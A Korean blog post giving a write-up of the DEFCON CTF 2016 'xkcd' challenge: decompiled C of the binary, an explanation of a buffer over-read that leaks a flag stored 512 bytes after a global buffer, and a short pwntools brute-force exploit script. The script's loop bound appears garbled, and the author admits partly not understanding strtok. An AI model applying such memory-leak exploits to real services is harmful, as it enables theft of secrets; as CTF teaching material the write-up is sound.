KDHzoot's Github

Code for study, project, etc

자세히보기

정보보안/CTF

[DEFCON CTF 2016] xkcd

kdhzoot 2018. 11. 7. 18:52
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // eax
  __int64 v5; // rax
  unsigned __int64 n; // rbx
  __int64 length; // [rsp-38h] [rbp-38h]
  const char *tokenize; // [rsp-30h] [rbp-30h]
  __int64 input; // [rsp-28h] [rbp-28h]
  __int64 flagfile; // [rsp-20h] [rbp-20h]
 
  setvbuf(stdout, 0LL, 2LL, 0LL);
  setvbuf(stdin, 0LL, 2LL, 0LL);
  bzero(&flag_6B7540, 256LL);
  flagfile = fopen64("flag"&unk_487DE4);
  if ( flagfile )
  {
    fread(&flag_6B7540, 1LL, 256LL, flagfile);
    while ( 1 )
    {
      input = (signed int)fgetln((__int64)stdin, &length);
      tokenize = (const char *)(signed int)strtok(input, "?");
      if ( strcmp(tokenize, "SERVER, ARE YOU STILL THERE") )
        break;
      tokenize = (const char *)(signed int)strtok(0LL, "\"");
      if ( strcmp(tokenize, " IF SO, REPLY ") )
      {
        puts("MALFORMED REQUEST");
        exit(0xFFFFFFFFLL);
      }
      v4 = strtok(0LL, "\"");
      tokenize = (const char *)v4;
      v5 = strlen(v4);
      memcpy(globals, tokenize, v5);
      tokenize = (const char *)(signed int)strtok(0LL, "(");
      tokenize = (const char *)(signed int)strtok(0LL, ")");
      _isoc99_sscanf(tokenize, "%d LETTERS", (char *)&length + 4);
      globals[SHIDWORD(length)] = 0;
      n = SHIDWORD(length);
      if ( n > strlen(globals) )
      {
        puts("NICE TRY");
        exit(0xFFFFFFFFLL);
      }
      puts(globals);
    }
    puts("MALFORMED REQUEST");
    exit(0xFFFFFFFFLL);
  }
  puts("Could not open the flag.");
  return -1;
}
cs



코드가 길지만 분석해보면 

""" SERVER, ARE YOU STILL THERE? IF SO, REPLY "%s" (%d LETTERS) """

라는 틀이 나온다.


여기서 주의해야 될것은 "와 (사이에 띄어쓰기가 있다는 것이다. 



https://m.blog.naver.com/PostView.nhn?blogId=sharonichoya&logNo=220490957748&proxyReferer=https%3A%2F%2Fwww.google.co.kr%2F

strtok의 구동방식을 보면 인자로 받는 문자를 널로 바꾸고 그 다음 문자열의 주소를 리턴한다.


그런데 "( 로 붙어있으면 처음 strtok시 \0(이 되고 그다음 strtok시 \0\0이 되면서 \0문자열이 리턴된다.

그럼 그 뒤로는 문자열이 항상 사실 잘 모르겠다. 대충 느낌을 알것 같으면 넘어가자.


%s에 들어오는 문자열이 globals에 복사된다.


이때 bss영역을 보면


flag 내용 담긴 주소

0x00000000006B7540


global 담긴 주소

0x00000000006B7340


global 주소의 +512 앞에 flag가 있음을 알 수 있다.

따라서 %s에 dump값을 512개 넣어주면 그 뒤 %d개의 문자를(flag까지 포함) puts에서 출력하게 된다.


이때, flag의 길이를 모르므로 1부터 256까지 브루트포스하면 된다.


exploit 코드


1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
 
padding = 'a'*512
 
for i in range(1257):
    p = process("./xkcd")
 
    pay = """SERVER, ARE YOU STILL THERE? IF SO, REPLY "%s" (%d LETTERS)""" % (padding, 512+i)
    p.sendline(pay)
 
    res = p.recvline()
    print res[512:]
 
    p.close()
cs

'정보보안 > CTF' 카테고리의 다른 글

[CSAW CTF 2013] Exploitation4  (0) 2018.11.12
[CSAW CTF 2013] Exploitation3  (0) 2018.11.10
[CSAW CTF 2013] Exploitation2  (0) 2018.11.09
[DEFCON CTF 2015] r0pbaby  (0) 2018.11.08
[TWMMA CTF 2016] Pwn greeting  (0) 2018.11.07